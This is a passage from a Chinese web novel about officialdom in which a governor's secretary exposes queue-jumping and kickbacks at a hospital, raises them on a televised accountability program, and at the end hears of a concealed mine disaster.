“王院长,你来得正好,你跟他们说,咱们这场手术是不是提前约定好了?”男人看向王院长,说。 王院长会意,走到李承等人的面前,想要替对方辩解情况,把这件事敷衍过去。 可当他看到正一脸冷冰冰,凝视着他的李承时,整个人愣怔在了原地。 “王院长,你说话呀!”男人催促道。 王院长看了男人一眼,紧张与尴尬,溢于言表。 “王志和院长,我们又见面了。” 李承伸出手,挑了一下他白大褂上的职务牌,看清楚对方名字后,冷漠开口。 这是他们第二次见面,之前,王志和跟孟良德汇报过一次工作。 只不过,相比于那些大领导,王志和的职务就微不足道了一些,李承也没刻意地去记住他的名字。 “李秘书,这...” 王志和欲言又止,不知道如何开口。 “我问你,他们的手术在先,还是李桂枝的手术在先。”李承冷冷地问。 “额...” 王志和并不知道李桂枝是谁,他迟疑的同时,目光看向旁边的护士。 护士连忙走到王志和身边,在耳边汇报情况。 听完汇报,他的脸色更加难看。 第154章 市长电话 “李秘书,我这就安排李桂枝手术。” 王志和听完后,也不做任何答复,陪着笑脸,说。 他想尽快地安抚下来李承的愤怒。 说完,他连忙对身后的护士吩咐:“快去,把李桂枝推到手术室!” 看到护士去安排大姑手术,李承稍微安心。 但他并不打算放过王志和。 于私,从小最疼爱李承的亲戚就是大姑,对方谋私耽搁大姑的手术,不能忍,而且,李承隐约决定,插队的人不止这一个。 要不然,可能早就上手术台了。 于公,这涉及到了医院的腐败问题。 若李承不是省长秘书,若杨丹没有听到那通电话,换做普通百姓的话,大概率手术就要被耽搁更久。 错过了黄金抢救期,死亡概率骤升,更常见的就是重度残疾,并发症缠身等。 这些,换做任何家庭身上,都是无法承受的事实。 “我问你,到底是他们手术在先,还是李桂枝的手术在先。”李承再次询问了一遍。 再次被发问,王志和的额头都流出了冷汗。 而那几个对杨丹怒骂,以及出手殴打的男人,也都哑火。 尤其是那个男人,更加紧张起来,隐约间,他通过王志和对李承的称呼,猜到了李承的身份。 “李秘书,我们去办公室里聊吧。”王志和压低声音,近乎乞求的口吻说。 因为这边的闹剧,旁边已经聚集了不少看热闹的群众。 虽有保安拦着,但这些保安也不敢粗暴地撵人。 “就在这里说!” 如果他想放过对方,刚才就叫王志去单独谈话了,李承在这里问,就是要以‘公开庭审’的方式,问个清楚。 “我以患者家属的身份问你,谁先谁后,如果是他们先,按照规定让他们先手术,我们不插队。 但你最后不要说谎,这件事我会查。” 李承手指着对方那伙家属,转而又指向王志和,厉声询问。 面对李承的询问,王志和低着头,不敢回答。 什么情况他心里门清,他经不起查,也不敢说。 当着这么多人的面说实情,那他这个院长也就干到头了。 看着对方沉默不语,李承怒火中烧:“别以为你不吭声,这件事就能完,事关人命你都敢渎职,这些年不知道要有多少普通患者被你们坑! 这件事我会如实汇报给省领导。” 李承说着,目光看向那个动手打杨丹的人,问王志和:“他是什么人?” 被李承指着,男人整个人都紧绷了起来。 “市卫健委,医政的副主任,我也没办法的李秘书。” 王志和现在已经是泥菩萨过河,自身难保了,他还哪能顾得上给男人打掩护,连忙回应。 他甚至抱有一丝期望,就是李承能够知道他的苦衷,从而宽恕。 “市卫健委的副主任,身为公职人员,你不仅利用权力插队,还公然殴打患者家属,好大的气魄啊!” 李承目光看向男人,朗声怒斥。 他就是要将自己的声音,传达到每一位看热闹的群众耳朵里。 他不怕事情闹大,给医院和政府带来负面影响。 因为只要去过医院就诊的人,都知道,这内部是烂到了骨子里。 而且,李承想闹大,也有自己的打算。 “我...我爸的手术很急,不然我也不会插队。”男人低着头,小声回答。 在李承面前,他大气都不敢喘。 “哪个患者到了手术的地步会不急?就你一个人急吗?你的家人是人,其他人就不是人吗?!” 李承愤怒呵斥,声音震天。 在李承的连番炮火轰炸下,两个人都低着头,不敢回答。 “你父亲还要手术,我现在不跟你争辩这些。” 说完,李承目光看向了身旁的表姐:“姐,你现在报警,他打的事情不能这么算。” “嗯,好。” 杨丹点头。 这时,大姑也被推了过来,进入手术室。 很快,派出所的民警赶到了医院。 对这次殴打事件进行了询问和调查,李承也动了手,身为当事人,他也跟着一起做了笔录。 这几个民警,不认识李承,也不认识那位卫健委的主任。 而李承在场,李承都没有找关系联系宫庆鑫,就算给对方一百个胆子,也不敢拖关系。 整个办案过程很公正,符合人性化。 因为家属在手术,民警就地做笔录,不强制带离医院,做完笔录也就离开了,等待后续的传唤。 等待了四个多小时,大姑的手术才算结束。 好在没有错过黄金抢救期,手术也很顺利。 ‘我的爱如潮水,爱如潮水将我向你推....’ 手术结束,李桂枝刚被推进病房内,李承的手机就响了起来。 拿出电话,来电显示:汉江市长刘宝林。 李承走到长廊,这才接通了刘宝林的电话。 李承其实不想接,他知道,这通电话多半是求情电话。 可又不能不接。 “喂,您好,刘市长。”李承客气地说。 “李秘书,我听说你姑姑脑出血,在汉江医大一住院了,我有个老朋友,是神经外科的院士。 我晚上刚跟他通过电话,他明天有时间,用不用帮你介绍一下?” 刘市长摆出一副关切的样子,说要给李承介绍关系。 看似,这是关怀,实则不然。 如果是在手术前,他给李承打来这通电话,无论他出于什么目的,李承都会对他带有感激,毕竟,那时候是雪中送炭。 可现在手术刚结束,刘市长的电话就打了过来,这分明是知道李承不会麻烦他,而套得近乎。 毕竟,一个院士的关系,就算是市长也不会随便动用。 能成为院士,那都是各领域的天花板,普通人基本约不到院士的号。 省部级领导看病,才会动用院士资源。 “不麻烦了刘市长,我大姑手术已经结束了,很顺利。”李承笑声敷衍地说。 “啊,是这样呀,我也是刚收到就消息,既然手术一切顺利,那就好。”刘市长道。 “谢谢您的好意,我大姑刚出病房,您要是没其他事情,我就先过去了。”李承说。 他暗示自己要挂断电话,就不是想再跟他聊下去,更深沉的意思,也是想告诉刘宝林,接下来的话,不要再说了。 第155章 节目 “李秘书,刚刚王院长给我打了电话,他这个同志我是了解的,品性没问题,在他的管理下,医大一才有了今天的成就。 插队问题的根本错误在卫健委的赵匡泉,他以监管部门的特权作为威胁,王院长是有苦衷了。 我觉得,我们不能因为他的一个错误,而忽视他的功劳,您说呢?” 刘宝林并不理解,亦或者,他并不想理解李承的深沉意思。 他这通电话的主要目的,就是想为王志和开脱。 “刘市长,您这通电话打得有点晚了,下班后是孟省长送我到的医院,刚才他特意打电话关心了一下我姑姑的病情,医院发生的事情,他已经知道了。”李承道。 李承编造了一个小小的谎言,以此来拒绝刘宝林。 他不能直接拒绝刘宝林,所以,需要将问题转移到孟良德身上。 “刘市长,要不您亲自给孟省长去一通电话?”李承提议道。 孟良德对医院的问题还不知情,但李承敢肯定,刘宝林不会在这个问题上给孟良德打电话。 “嗯,那我知道了,李秘书你先忙。” “好。” 回到病房,因为考虑到李承还明天还要工作,大家也都劝李承回家休息。 陪同的亲人很多,大姑的女儿和女婿也都在,不缺李承。 于是,李承拉着自己的父亲,就回到了家里。 许梦知道李广义来了,特意打包了很多饭菜,等在家里。 吃完饭,李承将李广义安顿好后,躺在床上,将许梦抱在怀里。 一天的折腾下来,他也很疲倦。 “以前常听人说,就医难,看病难,手术更难,这回我是亲自领略到了。” 李承叹了一口气:“有牟利的地方,就有腐败,学校如此,医院更是如此。” “社会就是这样,从古至今,没有办法彻底根除的。”许梦说。 “是呀,这些人就是被野火烧过的草,春风吹又生。”李承感叹道。 在他看来,想要彻底整顿这些腐败问题,根本不可能。 总有人抱有侥幸心理,也总有人记吃不记打。 就像整治校风的问题,省政府一时打压下去,他们能消停一段时间。 可等着孟良德调任,新任领导对待这方面的监管不再严苛,有新的师资力量进入,这种风气还会再起。 政府只能监管和惩治,却无法根除人性的贪婪,所以,这种贪腐问题是永远无法根除的。 “那你准备怎么处理,汇报给孟省长吗?”许梦问。 “汇报是肯定的,而且,针对医院的问题,我准备加到问政节目里。”李承说出自己的想法。 这也是当时在医院里,他要那么大声,让群众听见的原因。 李承是《东江问政》的策划人,孟良德授予了他权力。 在他的职权范围内,可以决定哪些事情参与问政,哪些事情不能参与。 但他是初审,他审核完,还要给宣传部和孟良德过目一下。 以李承对孟良德的了解,调查医院的问题,只要提到节目里,孟良德一定会批。 “确实有不少观众反馈,想要调查医院。”许梦认可道。 “嗯,涉及民生,贴切生活,都是大家最关心的。” 李承说完,翻身将一条腿压在许梦身上,去亲吻她。 “别...叔叔还在隔壁呢。” 许梦轻轻推搡了李承一下,说。 “你小一点声,听不见的。”李承的手抚摸起许梦,坏笑说。 “可是...我会控制不住呀...” ...... 次日。 李承早早起床,先去早餐店买了所有亲戚的早餐后,将李广义送去了医院。 李承没有跟他们一起吃。 自从沉江事件后,孟良德主动邀请李承每天在迎宾馆吃早餐。 许梦的工作原因,她可以睡懒觉,以前李承的早餐都是自己随便对付,他是非常乐意和省长一起共进早餐的。 既能拉近关系,还能省份早餐钱,何乐而不为。 “你姑姑的病情怎么样了?” 孟良德喝了一口粥,关心地问。 “手术很顺利,就是过程有点坎坷。”李承停下筷子,说。 跟领导讲话时,不能边吃边说,很不尊重。 “遇到什么问题了?”孟良德问。 “市卫健委的一个主任托关系插队,差点让我大姑错过了黄金抢救期。”李承顺着这个话题,将工作汇报过去。 “这些人,真是胆大妄为。” 孟良德语气是平淡的,对于医院这些情况,他早就见怪不怪。 “是呀,胆子大得超乎想象,我表姐阻拦他们插队,那个主任还动手打了人。” 李承以感叹的方式,再次加大力度。 听到这话,孟良德的眉头微微蹙起。 插队现象是普遍的,不足为奇,可身为公职人员,滥用私权还动手打人,这个性质就不同了。 “报警了吗?”孟良德平静地问。 “报警了,等着后续传唤呢。” 李承回复,并说出自己想法:“关于医院的问题,不是个例,是普遍现象,老板,这件事您觉得可以上《东江问政》吗?” “可以。” 孟良德点头批准:“就以你遇到的问题作为主要事件去讲。” “好的老板。” 孟良德让李承以他昨晚遇到的事件,作为节目核心故事,这是在帮李承抬高影响力。 孟良德的眼光很长远,他在为他调任后,李承的工作调度做准备。 有一定的影响力,形象公正,这是加分项。 来到省政府。 李承去见了杨兆华,将准备问政医院,和自己的遭遇告诉给了杨兆华。 问政节目,不止是简单地将几个负责人,叫到电视台上去批评,还有后续的一系列调查问题。 这需要各地政府,各级部门的配合与协同。 这种事,李承作为专职秘书,不在他的工作范畴。 需要汇报给办公厅,由办公厅进行统筹安排工作进展,联系各级部门,以及省电台等。 “岂有此理,这群人简直无法无天了!” 听完李承的汇报,杨兆华格外愤怒:“必须严查严惩,我会亲自监督此事!” 第156章 赔偿 杨兆华在审计局任职时,李承曾陪同他到封兰市出过差。 那次,李桂枝听说李承和领导来工作,十分诚心地宴请了杨兆华和李承。 最开始杨兆华是婉拒的,但李桂枝愣是到了他们休息落脚的宾馆,去邀请。 他的这份热情,让杨兆华对李承的大姑印象非常深刻。 杨兆华听说此事,这份愤怒是发自内心的,那么好的一位妇女,差点因为医院的渎职,险些毁了下半生。 “你姑姑是哪个病房?”杨兆华问。 “老领导,您工作这么忙,就不用费心了。”李承说。 “我去封兰的时候,你大姑那么热情招待我,临走还给我带了特产,现在她来汉江住院,我怎么能不去看?” 这是基本的人情世故,杨兆华不会缺少。 “我大姑还在昏迷,医生说,差不多一到两周才能苏醒,等她醒了我再跟您讲。”李承道。 “那也好。” ..... 晚上下班。 李承送孟良德回到迎宾馆。 “小李,一会儿还要去医院吗?” 孟良德走进迎宾馆内,淡淡地问。 “嗯,晚一点过去。”李承回答道。 “晚上在这里吃吧,我爱人邮寄来了一些月盛斋的酱牛肉,你也尝尝。”孟良德邀请道。 “好呀,早就听过月盛斋酱牛肉,还想着有机会去京城尝尝呢,没想到现在就有口福了,哈哈哈。” 李承笑着答应。 “塑封过的和到店吃,味道还是有差别的。”孟良德说。 等待孟良德换了一套休闲装后,两个人一起到餐厅吃饭。 “尝尝,味道怎么样?” 孟良德拿起公筷,亲自给李承夹了一块牛肉。 “谢谢老板。” 李承受宠若惊,省长亲自给夹菜,放眼全省也没有几个人,也没有几个人能有这种待遇。 “嗯...好吃。” 李承品尝了一下,称赞地点头。 “月盛斋是有年头的百年老店了....” 吃饭的过程中,孟良德给李承讲述起这家饭店的历史,创建于乾隆年间,列入非遗等等。 ‘嗡嗡...’ 在吃饭的期间,李承的手机一直在震动。 他拿出看了一眼,是派出所的电话,便没有接听。 下午,派出所给李承打过电话,叫他针对昨天医院发生的冲突问题,去做一个笔录。 原本定的时间是六点半,只不过,李承在陪孟良德吃饭,就耽搁了。 跟陪省长吃饭来比,去做一个笔录的小事,简直不值一提。 “女朋友的电话?” 孟良德也察觉到李承来了电话,随口问道。 “不是,派出所的。” 李承如实说:“昨天在医院里发生了冲突,他们叫去补个笔录。” “你也动手了吧?”孟良德笑呵呵地问。 对于派出所的流程,他是有一定了解的。 正常情况下,昨天在医院已经做了笔录,后续传唤,传唤的人一定是当事人。 “嗯,他们打我姐,我去阻止还要对我动手,我这算正当防卫。”李承尴尬一笑,解释说。 他说得有些小心翼翼。 毕竟是动手打了人,他担心孟良德会认为他是一个冲动的人。 “家人被欺负,只要是个男人都会动手,换我,我也会。” 孟良德轻描淡写地说:“吃完饭就去吧。” “好的老板。” 在迎宾馆吃完饭,李承开着许梦的车来到城西派出所。 城西派出所是李承第二次来,第一次时,是为了帮陈思琪办事。 结果,还被陈思琪给坑了。 “哎呀,李经理,你怎么来了?” 进入派出所,上次对陈家人和李承态度蛮横的秃顶所长立刻认出了李承。 他对李承印象非常深刻。 因为上一次见面,市局局长宫庆鑫亲自过来,对李承态度客客气气,还亲切地喊他李经理。 他不知道李承是哪个公司的经理,但他清楚,李承是他得罪不起的人。 “你们派出所传唤我过来的,昨天医大一闹事的案子。”李承对他说。 “这个案子呀,正在里面调解呢,你来得正好。”秃头所长说着,将李承带入调解室。 此时,昨天动手打人的卫健委医政副主任,还有李承的表姐杨丹都已经在调解室里了。 “吴所长。” 看到李承和秃头所长过来,那个负责调解的民警先是跟秃头所长打了一声招呼。 随后,他的目光看向李承,眉头皱起:“李承,给你打电话怎么不接?” “我在忙工作来着,不好意思,来晚了。” 迟到确实是自己的问题,李承歉意地说。 “你的工作很忙,我们的时间就不忙吗?你知不知道,大家都在等你!”民警严肃地呵斥道。 被一个基层民警呵斥,李承并没有生气。 反而觉得有点好笑。 相比于民警脸上的严肃,其余人的表情却精彩了起来。 “我们等等不要紧的,李秘书的工作比较忙,可以理解。” 卫健委的医政副主任开口替李承解围。 “那能行吗?再忙也要有时间观念!他忙,难道别人就不忙吗?”民警继续道。 “小刘,怎么跟李经理说话呢。” 听到他没完没了,吴所长眉头一皱,呵斥道。 紧接着,他又转为笑脸:“李经理,别跟他一般计较,您坐。” 听到上司用如此殷勤的方式讨好李承,小刘也收敛了下去,不再多言。 “没关系,本来就是我的问题,他说得对。” 李承坐了下来,目光看向杨丹,问:“姐,你们怎么定的赔偿?” “他们动手打了人,你们也还了手,现在具体责任怎么划,还没定下来.....” “不用定!我全责,是我的问题,李秘书打我是正当防卫,是我活该,我愿意承担一切责任。” 小刘的话还未说完,医政副主任直接打断了他,大包大揽地承担起全部责任。 他眼神真挚地看向杨丹,道歉:“对不起,姐,我是畜生,竟然对你一个女人动手,哎呀,我太混账了,我也很后悔。 但我爸那时候病情也挺严重,我着急,你也是病人家属应该理解我的心态。 还请你原谅我,多少钱我都愿意赔!” 第157章 公事公办 陈副主任的这番态度,令在场的大多数人都为之惊讶。 尤其是负责办理此事的小刘。 他在询问案件过程中,知道了陈副主任的身份,他的本意,是想替陈副主任说说话。 把责任划分一下,各占一些责任,从而交下陈副主任这个人脉。 可他万万没想到,陈副主任竟直接认了全责,道歉的态度,甚至不能用诚恳还形容,用‘疯狂’更加合理。 “弟,你看,这件事要不就算了吧,他态度也挺诚恳的。”杨丹看向李承,询问他的意见。 在她看来,只要母亲成功手术,她被打的这点小伤根本不算什么。 “打了人,就要赔钱,这是天经地义,哪有白打的道理。” 李承拒绝了杨丹,他的目光看向陈副主任,问:“你准备赔偿多少钱?” “李秘书,十万,怎么样?”陈副主任小心试探地问道。 “姐,你的意思呢?”李承问杨丹。 杨丹身上的伤,并没有构成轻微伤,十万块钱已经不少了。 如果按照法律程序来赔偿,是赔不到这个价格的,对此,李承倒也满意。 “太多了吧?我伤得也不严重。”杨丹说。 她是万万没想到,挨一顿打,就能拿到十万块钱的赔偿。 “不多,十万块钱一点都不多,身体的创伤是一方面,最主要是给您造成了心理创伤,这些钱一点不多。” 听到十万块钱就能妥协此事,陈副主任很高兴。 他原本是准备拿二十万解决这件事的。 “姐,你要是同意的话,就跟他签和解吧。”李承说。 十万块钱,打一个省长秘书的亲戚,这多吗? 这一点都不多了。 如果李承稍微有一点坏心思,别说是十万,就是开价五十万,他都得拿。 李承不是那种人。 十万块钱也是对方自己开的价,不是李承索要。 “我同意。”杨丹连连点头。 “那行,我现在就转钱,把卡号给我。” 两方达成一致,派出所走了一个流程,就让双方回去了。 “李秘书。” 出了派出所,陈副主任追赶上李承的步伐,脸上挂着尴尬的笑:“昨天的事情,是我的错,您别跟我一般计较。 咱们也算不打不相识了,交个朋友,以后有什么事情,您吱个声。” 对于陈副主任的低姿态,李承只是冷眼扫了对方一眼,说:“交朋友就算了,大家公事公办。” 李承说完这句话,拉开车门上了车,不给对方继续说下去的机会。 杨丹坐在副驾驶上,看着手机屏幕上,银行卡里的数字,不可置信:“真没想到,挨一顿打就能拿到十万块钱。 我妈的费用都差不多够了。” 合作医疗能够报销一部分费用,还有一部分需要自己承担。 杨丹的家庭本来并不富裕,这笔钱也是花费了他们不少积蓄。 这十万块钱的赔偿,对她来说,算得上因祸得福了。 “嗯。”李承点头。 “弟,人家也赔偿了,态度还那么诚恳,咱得饶人处且饶人。”杨丹替陈副主任劝说道。 李承对于杨丹的朴实,有一点无奈,他问:“姐,你有没有想过,我不是孟省长的秘书,今天会是什么结果?” “这...” 闻言,杨丹沉默了。 陈副主任的态度,是基于李承是省长秘书的身份。 如果李承只是一个普通人,以陈副主任那嚣张的态度,结果是翻天地覆的。 大概率在昨晚,李承,杨丹他们就会被医院保安控制住。 然后,大姑也不可能顺利地进入手术室,病情大概率要被耽搁。 而赔偿,那就更不可能了。 基本上,就要以互殴被定性。 甚至还有一种可能,就是杨丹被判定成医闹,故意阻碍别人家属接受治疗等,还可能需要赔偿陈副主任。 “想明白了吧,所以,他赔的这些钱不算什么,更不值得原谅。”看着杨丹不再言语,李承笑了笑。 ....... 周六。 《东江问政》节目开始录制,李承已经成为了节目的常驻嘉宾。 “欢迎电视机前的观众朋友收看东江问政,大家好,我是主持人许梦。” 随着一道预示节目开始的背景音乐响起,许梦微笑着,做起介绍。 “我看到后台有很多观众朋友们私信我们,想要了解城市管理事件的处理结果,今天,结果出来了....” 节目的最开始,还是以回顾上期问题的处理结果为主。 上一期,大家最为关注的,是城管强制没收摆摊大娘的东西,发生挣扎,城管态度蛮横,有推搡行为。 正常来讲,这个单一的个人问题,是不值得放在节目里的。 但重点投放的原因,是这个事件被群众拍摄了下来,发到了自媒体平台,受到了广泛关注。 尤其是有本地网络大V,亲自找到了大娘,去记录大娘的身世背景。 大娘的生活可怜,老伴去世,儿子有智力问题,将近四十岁的年纪还是三岁的智商。 在网络大V的传播下,大家在可怜大娘的同时,对汉江城管部门,乃至是文旅账号都进行了口诛笔伐。 还有多家官媒的转发,对汉江的形象造成了负面影响。 所以,把这件小事搬到节目上,是正面回应全国观众,告知政府的态度。 其实。 这些年来,城管的口碑一直不好,不止是汉江,是全国。 这种口碑下滑的原因是复杂的。 其一,工作性质问题,在维持正常工作时,会触碰到一些基层人民的利益,会给一些基层人民造成麻烦,容易发生争执。 其二,编制问题。 多数一线的执法队员都是事业编,还有合同工。 这些事业编制的招聘,是存在一定乱象的,很多人都不是通过正规渠道,进入的编制,个人素质也是有高有低。 甚至存在一些社会闲散人员,被家里托关系安排事业编的现象,这类人做了城管,情况可想而知。 在许梦宣布完上一期问政问题的处理结果后,进入今天主题。 关于医院的现象... 第158章 上节目 “最近一段时间,我们的热线接到不少来自群众的举报,反映一些医院存在挂号难,看病难的现象。 有患者说,凌晨排队,抢号秒没,却有黄牛高价卖号。 还有人吐槽,说医生问诊时间短,检查项目却一项接着一项,费用水涨船高,一个头疼脑热到医院,动则都要上千块。 过度检查,重复检查,小病大治的问题成为普遍。 为此,我们特意请到了汉江医大一院的王志和院长,以及第一人民医院的左峰院长。” 在许梦介绍后,接通转向了两位院长。 随后,在许梦的引导下,导播切换画面。 屏幕是记者在医大一院和第一人民医院的暗访,记录了黄牛号,以及大夫敷衍的态度,还有过度检查的问题。 镜头转换回演播厅,许梦开始对于VCR的问题,对两位院长进行连番询问。 两位院长被问得哑口无言,开始各种甩锅,保证会加大监管力度等等。 “王院长,听说,您们医院最近又发生了一件事,有患者脑出血,从封兰转院来抢救手术。 却遭遇了手术插队,差点错过了黄金抢救期,这件事,您知情吗?” 许梦看向王志和,明知故问。 王志和在上台之前,就已经有了心理准备,知道主持人会问到这件事。 可当被问到时,他还是一阵心慌。 “主持人,我知情...这个插队是我安排的。” 王志和想了想,决定自己坦白从宽。 与其被主持人一步步逼到绝路,不如自己先坦白,显得态度诚恳。 “王院长,请问您是出于什么目的,去安排的这次插队? 亦或者说,您跟对方是什么样的关系,导致您要违规操作,漠视被插队者的生命安危?” 许梦言辞犀利,伶俐的目光直视着王志和。 王志和面对如此犀利的问题,他沉吟了好久:“额....这个,我....” 他吞吞吐吐好久,并没有在电视机前,说出一个所以然。 以这种方式进行了敷衍。 “看来王院长是有难言之隐。” 许梦接回话题,继续说:“据了解,这件事还有一件戏剧化的一幕发生,被插队患者的亲属,是我们汉江省省长的秘书,李承。 李秘书,您对于此事,是怎样的看法?” “对于此事的发生,我很失望和愤慨。 医院是看病救人的地方,在生命面前,人人平等,可某些同志却为了一己私欲,滥用职权。 若不是我姐听到了他们插队的真相,挡在手术室门口,可能我姑姑就要错过黄金抢救期,后果将不堪设想。 我就想问问王院长,到底是谁给你的权力,让你如此肆意妄为! 我还想问问你,这些年,你利用自己的权力,究竟帮了多少关系户,又坑害了多少普通人.....” 李承滔滔不绝,对王志和进行了连番炮轰。 训的王志和是体无完肤。 可对此,王志和似乎已经下定了决心,就以沉默来回应。 看到他那副死猪不怕开水烫的样子,李承最终也只能无奈地丢给他一段话,表明会将他和整个医大一院的问题彻查到底。 李承讲过话后,市长刘宝林又进行了一次工作总结。 他的总结比较笼统,强调医院的性质,让他们做出整改等…… 在节目录制中,刘宝林并未替王志和开脱,他也没办法在镜头面前,开口。 “李秘书,你时间方便吗?耽搁你十几分钟,我想跟你聊一聊。”节目录制结束,刘宝林找到李承。 李承知道,对方找自己是为了王志和的事情,但也不能拒绝:“方便。” 两人一同进入演播厅附近的办公室。 “李秘书,抽根烟。” 两个人坐下后,刘宝林掏出烟盒,递了一支给李承。 “谢谢。” 李承接过香烟,也从口袋里拿出火机,替刘宝林点燃了香烟。 吸了一口烟,李承看着刘宝林,等待对方开口。 “李秘书,省里准备怎么处理王院长?”刘宝林问。 “怎么处理是市部门的决定,刘市长应该比我更了解才对。”李承淡淡地说。 关于王志和及医院的调查,是由办公厅统筹,安排给市里各部门进行调查。 这些调查,如果刘宝林想要问询和干预,都可以经过他的手。 “我想知道,孟省长是什么态度?”刘宝林道。 他想捞王志和,但前提是,孟良德对这件事并不重视。 如果孟良德准备严肃处理,他在从中作梗,那就是跟孟良德对着干。 为了王志和,惹怒孟省长,这是不值的。 所以,他要从李承口中得知孟良德的态度,孟良德态度松缓,他就有操作空间。 “让王院长参加节目就是孟省长安排的。”李承淡淡的道。 虽未直说,却也侧面告诉了刘保林,孟省长很重视这件事。 “嗯,我知道了。” 刘宝林点了点头,将香烟熄灭:“那先不打扰李秘书休息了。” ..... 次日。 李承和许梦一同来到医大一院,探望大姑。 刚到楼下,李承就看到了一位熟人。 “邢书记。” 李承主动走了过去,跟邢小军打了个招呼。 邢小军是汉江市纪委书记。 “是李秘书呀,来探望亲属呀?”邢小军看到李承,笑着跟他打了个招呼,说。 “嗯,你们这是过来办公?”李承试探地问。 “经过我们调查,王志和同志涉嫌的问题很严重,这不准备请他去我们单位坐一坐,呵呵...” 邢小军笑声平淡,目光瞟向他们的车内。 李承的目光也随之看去,透过车窗,李承看到了院长王志和。 “有多严重?”李承问。 这并不算探秘,对于王志和等人的问题调查,本就是省办公厅部署的工作,早晚还是要汇报到他这里的。 “什么收红包,插队,都是小事,一台CT机,他就敢吃八百多万的回扣,你说严不严重?”邢小军说。 一台CT机,八百万回扣。 这一刻,李承明白了石山水曾说过的那句,一台CT机在国内溢价都要千万。 原来,这千万不是厂家的问题和黄牛的倒卖,而是医院内部的回扣! 第159章 出大事了 ‘我的爱如潮水,爱如潮水将我向你退...’ 李承和许梦在医院待了一个多小时,刚回到家,李承的手机就响了起来。 这是一个陌生号码,李承并不认识。 “喂,你好?” “你好,请问是李秘书吗?” 电话那边传来一道中年男人的声音,这个声音,李承听着有些熟悉。 “我是。”李承应道。 “李秘书,我是恺奥医疗的董事长石山水,上次你陪同孟省长来视察时,我们见过面。” 石山水笑呵呵的自我介绍。 “石总呀,您有什么事情吗?”李承问。 “我刚看完《东江问政》这个节目,你在节目上的表现,很出色,不愧是孟省长的秘书,呵呵呵...” 石山水称赞道。 “石总过奖了。”李承淡笑回应。 他知道,这种夸赞只是对方的一个铺垫,石山水想说的话,在后面。 “现在这个医疗风气确实太差了,我听说,医大一的王院长被抓了,还查出来拿医疗器械的返点,受贿金额高达上亿。” 石山水道。 “石总的消息很灵通嘛。” 李承也是今天下午在医院门口碰见市纪委的邢小军,才知道他们对王志和采取了抓捕行动。 而石山水却远在几百公里外的容城,居然消息比自己这位省长秘书还灵通。 李承到现在都不知道具体受贿金额。 不过,上亿元肯定有了。 一台CT机就受贿八百万,整个医院那么多昂贵的医疗设备,单单从医疗设备的返点,王志和就能贪不少。 “我们做医疗行业的,全国各大医院的消息都有点渠道。” 王山水微微一笑,继续说:“李秘书,我们CT机已经拿到投产上市的资质了,我想,能不能趁着这次医疗风气的整顿问题。 把我们公司宣传一下。” “怎么宣传?”李承问。 “我听说,《东江问政》的主策划人是你,你看能不能让我们恺奥医疗赞助这个节目?” 石山水的CT机已经正式投产。 但是,想要宣传出去是一个很大的问题。 所有医院都依赖于进口的几个大品牌,对于国产的信任度不高。 虽说,国产的价格比进口有优势,可问题在于,国内的医院都是公立为主。 又不花自己兜里的钱,医院负责采购的人员,肯定会选择返点多,信得过的进口品牌。 而不会选择恺奥医疗这个刚研发成功,临床数据,检测效果还没有得到业内普遍认可的新品牌。 所以,石山水想要花一些钱,借助《东江问政》的流量,推广他的品牌。 在这其中,石山水的想法,却远远不止于广告效应。 广告投放,针对的是广大群众,可CT机的选择,可不是观众能决定的。 石山水的真实目的,是想借着王志和院长被问政调查的事件上,将自己的CT机投放赞助《东江问政》节目。 以此来给东江省那些大医院一种政治暗示。 并且,他在通过内部渠道进行一些政治鼓吹,有些医院想投石问路,就会选择采够他们的CT机。 对于石山水的心里想法,李承并不了解。 但他还是委婉拒绝了石山水。 “石总,赞助的问题,你要跟电视台沟通,这个我没办法承诺。”李承说。 “我给电视台打过电话,但他们说,这个节目是省里的节目,他们做不了主。” 石山水在给李承打电话之前,联系过赖八法,同样遭到了拒绝。 “石总,那你联系一下孟省长吧,我也做不了主。”李承再次婉拒。 石山水跟孟良德是老交情,他可以直接联系孟良德,只要孟良德点头,这件事李承和电视台都会配合。 “李秘书,这种事情,我不好开口的,要不你周一上班,帮我跟孟省长透个风呗?” 石山水尴尬的笑了笑,开口请求道。 “嗯,行。” 李承想了想,点头答应。 石山水这种大集团的老总主动开口,李承不能拒绝。 “麻烦你了,李秘书。” “不麻烦。” ..... 周一上班。 李承将石山水打算在《东江问政》节目做广告的事情,转达给了孟良德。 “不行。” 听完后,孟良德摆了摆手,没有任何犹豫的拒绝了。 《东江问政》这种政治类节目,需要很高的严肃性,为了保持这份威严,任何的商业广告都不能沾边。 “你转达他,我准备举办一场省高端医械创新成功推广会,帮他推广CT机....算了,我等下亲自给他打个电话吧。” 孟良德吩咐到一半,摇了摇头,说。 “好的省长。”李承答应。 ‘嗡嗡嗡...’ 正在这时,李承口袋里的手机震动了起来。 他不知道是谁,也没有当着孟良德的面前拿出来看。 一般公务电话,在上班时间都会打给秘书间的座机,只有秘书间的座机无人接听,才会打私人电话。 秘书间的电话并没有响,就证明这通电话八成是个人。 但李承也担心这是家人的电话,担心是医院的大姑出了什么状况,看孟良德也没有其他工作吩咐,便退出了办公室。 拿出手机,上面是一个陌生号码。 来电地区显示是滨西市。 “喂,您好哪位?”李承问。 “你好,请问你是省长的秘书吗?” 电话那边是一道很朴素的妇女声音,语气中带着几分紧张和焦急。 “对,我是。”李承答应。 “那个,那个我是滨西煤矿的遇难者家属呀,上次你和省长来视察,你给我的名牌,你还有印象吗?”妇女急匆匆的说道。 “有印象,您家属赔偿的问题,还没有解决妥善吗?”李承耐心的询问。 当日,他们去视察滨西矿业时,有几个妇女找孟省长告状,李承给他们留了名片。 那件事,孟良德下令三天内处理妥当。 后续李承也跟进过此事,官方答复是处理妥当,李承也联系过几位遇难者家属,皆表示处理结果满意。 但现在对方又打来电话,李承才怀疑,那件事是不是有什么隐情? 第160章 矿难 “那件事解决了,这次,我是帮其他矿友联系的你。 是这样啊,昨天上午滨西煤矿发生了透水事件,死了好多人呐,市里和矿上也一直不给个解释,市里还是一直拖着。 现在大家也不知道该怎么办了,我就想给你打个电话,想让省里替他们做主。” 妇女说。 她的丈夫在上次事故中遇难了,这次事故,并与她没关系。 但跟那些矿工们都是老相识,又是相同的遭遇,她才想起了李承,给李承打来这通电话。 “死了多少人?”李承闻言,眉头紧皱。 煤矿透水是大事,也称之为矿井水灾,这比矿洞塌方还要危险。 基本上,遇到严重煤矿透水,就是九死一生。 “起码得二十几个人,还没有挖出来的。”妇女说道。 听到这里,李承的眉头皱的更深。 这件事,他没有听说过。 他没听过,就代表着孟良德也没有听说过。 死了二十几个人,那就是重大事故,需要省级督办。 